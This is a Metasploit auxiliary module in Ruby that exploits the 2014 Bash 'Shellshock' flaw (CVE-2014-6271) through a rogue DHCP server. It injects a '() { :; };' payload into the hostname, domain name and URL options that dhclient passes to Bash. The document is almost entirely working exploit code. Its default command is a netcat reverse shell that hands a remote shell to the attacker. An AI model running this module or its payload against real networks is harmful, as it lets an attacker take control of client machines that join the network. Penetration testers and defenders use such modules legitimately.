DHCP Client Bash Environment Variable Code Injection

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'rex/proto/dhcp'  
  
class Metasploit3 < Msf::Auxiliary  
  
include Msf::Exploit::Remote::DHCPServer  
  
def initialize  
super(  
'Name' => 'DHCP Client Bash Environment Variable Code Injection',  
'Description' => %q{  
This module exploits a code injection in specially crafted environment  
variables in Bash, specifically targeting dhclient network configuration  
scripts through the HOSTNAME, DOMAINNAME, and URL DHCP options.  
},  
'Author' =>  
[  
'scriptjunkie', 'apconole[at]yahoo.com', # Original DHCP Server auxiliary module  
'Stephane Chazelas', # Vulnerability discovery  
'Ramon de C Valle' # This module  
],  
'License' => MSF_LICENSE,  
'Actions' =>  
[  
[ 'Service' ]  
],  
'PassiveActions' =>  
[  
'Service'  
],  
'DefaultAction' => 'Service',  
'References' => [  
['CVE', '2014-6271'],  
['CWE', '94'],  
['URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/'],  
['URL', 'http://seclists.org/oss-sec/2014/q3/649',],  
['URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/',]  
],  
'DisclosureDate' => 'Sep 24 2014'  
)  
  
register_options(  
[  
OptString.new('SRVHOST', [ true, 'The IP of the DHCP server' ]),  
OptString.new('NETMASK', [ true, 'The netmask of the local subnet' ]),  
OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),  
OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]),  
OptString.new('ROUTER', [ false, 'The router IP address' ]),  
OptString.new('BROADCAST', [ false, 'The broadcast address to send to' ]),  
OptString.new('DNSSERVER', [ false, 'The DNS server IP address' ]),  
# OptString.new('HOSTNAME', [ false, 'The optional hostname to assign' ]),  
OptString.new('HOSTSTART', [ false, 'The optional host integer counter' ]),  
OptString.new('FILENAME', [ false, 'The optional filename of a tftp boot server' ]),  
OptString.new('CMD', [ true, 'The command to run', '/bin/nc -e /bin/sh 127.0.0.1 4444'])  
], self.class)  
end  
  
def run  
value = "() { :; }; PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin #{datastore['CMD']}"  
  
# This loop is required because the current DHCP Server exits after the  
# first interaction.  
loop do  
begin  
start_service({  
'HOSTNAME' => value,  
'DOMAINNAME' => value,  
'URL' => value  
}.merge(datastore))  
  
while dhcp.thread.alive?  
select(nil, nil, nil, 2)  
end  
  
rescue Interrupt  
break  
  
ensure  
stop_service  
end  
end  
end  
  
end  
`